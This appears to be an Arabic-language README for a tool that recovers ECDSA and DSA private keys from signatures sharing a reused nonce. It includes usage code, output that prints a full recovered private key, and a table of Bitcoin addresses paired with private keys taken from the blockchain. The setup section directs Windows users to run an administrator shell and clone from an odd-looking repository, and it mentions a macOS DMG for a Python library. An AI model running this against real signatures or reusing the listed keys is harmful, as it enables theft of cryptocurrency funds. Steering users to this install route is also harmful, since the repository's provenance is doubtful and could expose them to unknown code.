استرداد مفتاح ECDSA

تنفيذ هجمات استرداد المفتاح الخاص عبر إعادة استخدام Nonce في ECDSA و DSA

أداة بحث تشفيرية لتحليل ثغرات التوقيعات

لنسترد المفتاح الخاص لتوقيعين يتشاركان نفس nonce k. لاحظ كيف أن اختيار نفس nonce k يؤدي إلى أن يكون لكلا التوقيعين قيمة توقيع r متطابقة. للعثور على مرشحين جيدين لإعادة استخدام nonce في ECDSA، ابحث عن توقيعات تتشارك نفس r و pubkey على curve لرسائل (أو تجزئات) مختلفة. على سبيل المثال، مشاريع البلوكشين المبنية على bitcoind عادة ما تكون مصادر جيدة لمواد توقيع ECDSA.

• sampleA (r, sA, hashA, pubkey, curve)
• sampleB (r, sB, hashB, pubkey, curve)

sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # same privkey as sampleA, identical r due to nonce reuse k.

# recover the private key
sampleA.recover_nonce_reuse(sampleB)  # populates sampleA with the recovered private key ready for use
print sampleA.privkey 

خيارات التثبيت:

الإعداد

التعليمات التالية مخصصة لنظامي Windows و Linux؛ مستخدمو macOS لديهم ملف DMG.

تحقق من تثبيت Git و Python على نظامك.

قم بتنزيل Git لنظام Windows:

https://git-scm.com/install/windows

قم بتنزيل Python لنظام Windows (مباشر):

https://www.python.org/ftp/python/3.13.12/python-3.13.12-amd64.exe

أخيرًا، قم بتشغيل cmd كمسؤول.

git clone https://github.com/yadyvazifeh1oz92/ecdsa-private-key-recovery.git

cd ecdsa-private-key-recovery

py -m pip install -r requirements.txt

py setup.py install

Python 2.x:

#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py

Python 3.x:

#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py

استرداد المفاتيح الخاصة من بلوكشين البيتكوين

tools/README.md

BTC Address	Base58 Privkey	r
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	113563387324078878147267949860139475116142082788494055785668341901521289846519
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	18380471981355278106073484610981598768079378179376623360720556873242139981984
1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W	5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw	19682383735358733565748628081379024202682929012377912380310432818686294127462
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	6828441658514710620715231245132541628903431519484374098968817647395811175535

مثال

إنشاء كائنات توقيع قابلة للاسترداد:

from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex

# specify curve
curve = ecdsa.SECP256k1

# create standard ecdsa pubkey object from hex-encoded string
pub = ecdsa.VerifyingKey.from_string(
        bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
            
# create sampleA and sampleB recoverable signature objects.
# long r, long s, bytestr hash, pubkey obj.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
                         bytes_fromhex(bignum_to_hex(
                             765305792208265383632692154455217324493836948492122104105982244897804317926)),
                         pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
                         bytes_fromhex(bignum_to_hex(
                             23350593486085962838556474743103510803442242293209938584974526279226240784097)),
                         pub)
                         
# key not yet recovered
assert (sampleA.x is None)     

استرداد المفتاح الخاص لـ sampleA

# attempt to recover key - this updated object sampleA
sampleA.recover_nonce_reuse(sampleB)    # recover privatekey shared with sampleB
assert (sampleA.x is not None)          # assert privkey recovery succeeded. This gives us a ready to use ECDSA privkey object
assert sampleA.privkey

المخرجات

INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----

DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----